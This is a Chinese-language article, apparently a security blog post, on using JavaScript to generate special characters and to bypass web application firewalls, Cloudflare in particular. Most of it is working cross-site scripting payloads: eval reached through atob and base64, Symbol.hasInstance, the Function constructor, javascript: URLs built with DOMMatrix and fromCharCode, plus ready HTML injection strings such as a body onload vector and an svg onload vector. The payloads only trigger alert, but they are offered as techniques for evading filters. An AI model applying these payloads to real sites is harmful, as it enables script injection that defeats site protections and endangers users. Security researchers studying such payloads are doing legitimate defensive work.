JS 生成字符及bypass waf初探
字数 554 2025-08-19 12:41:03
JS 生成字符及Bypass WAF技术研究
前言
本文探讨了JavaScript中生成特殊字符的各种技术以及绕过Web应用防火墙(WAF)的方法,结合了Twitter和Reddit上安全研究人员的创新技术。
生成特殊字符技术
1. 生成/code/字符串
var bs = 'ao0PTA7YWxlcnQoMTMzNykvLwa';
empty = RegExp.prototype.flags;
xx = {};
xx.source = bs;
xx.flags = empty;
xx.toString = RegExp.prototype.toString;
2. 生成特殊符号(, ?, :, )
yy = {...RegExp.prototype.source}
yy.toString = Array.prototype.shift
yy.length = 4
left = yy + empty // 生成(
que = yy + empty // 生成?
colon = yy + empty // 生成:
right = yy + empty // 生成)
3. 生成斜杠/
x = console;
x.toString = RegExp.prototype.toString;
x.valueOf = String.prototype.charAt;
x + "" // 输出/
4. 生成方括号[
x = console
x.valueOf = String.prototype.charAt
x + "" // 输出[
5. 字符串大小写转换
x = ["a"]
x.valueOf = String.prototype.toUpperCase
x + "" // 输出A
Bypass WAF技术
1. 使用展开符和正则绕过单引号
x = {...eval+0, toString:Array.prototype.shift, length:15},
x+x+x+x+x+x+x+x+x+x+x+x+x,
x = /alert/.source + x + 1337 + x;
location = /javascript:/.source + x;
2. 使用instanceof
window[Symbol.hasInstance] = eval
atob`YWxlcnQoMSk` instanceof window
3. 使用constructor
atob.constructor(atob`YWxlcnQoMSk`)``
// 或
atob.constructor(atob(/YWxlcnQoMSk/.source))()
4. 使用新特性
void''??globalThis?.alert?.(...[0b1_0_1_0_0_1_1_1_0_0_1,],)
绕过CloudFlare WAF的思考
CloudFlare的WAF会拦截以下特征:
- 括号
- 注释符
- 模板字符
- 大括号
- 特定关键字(如location赋值)
已知可用的简单payload
"><body/onload="throw%20onerror=alert,1,2,3,11;"><a+href="
高级技术(可能被拦截)
使用DOMMatrix构造JavaScript代码:
x = new DOMMatrix;
matrix = String.fromCharCode;
i = new DOMMatrix;
i.a = 106; // j
i.b = 97; // a
i.c = 118; // v
i.d = 97; // a
i.e = 115; // s
i.f = 99; // c
j = new DOMMatrix;
j.a = 114; // r
j.b = 105; // i
j.c = 112; // p
j.d = 116; // t
j.e = 58; // :
j.f = 32; // space
x.a = 97; // a
x.b = 108; // l
x.c = 101; // e
x.d = 114; // r
x.e = 116; // t
x.f = 40; // (
y = new DOMMatrix;
y.a = 49; // 1
y.b = 51; // 3
y.c = 51; // 3
y.d = 55; // 7
y.e = 41; // )
y.f = 59; // ;
location = 'javascript:a=' + i + '+' + j + '+' + x + '+' + y + ';location=a;void 1';
CloudFlare拦截的变通方案尝试
以下方法可能被拦截:
a = location;
a.href = "javascript:alert(1)";
// 或
a.search = "?id=javascript:alert(1);";
// 或
a.pathname = "/index/index.php?id=javascript:alert(1);";
其他可能的绕过方式
<svg ono onload=alert(1)>
总结
本文介绍了多种生成JavaScript特殊字符的技术和绕过WAF的方法,特别是针对CloudFlare的防护机制。这些技术展示了JavaScript语言的灵活性和安全防护的挑战性。实际应用中需要根据具体WAF规则进行调整和测试。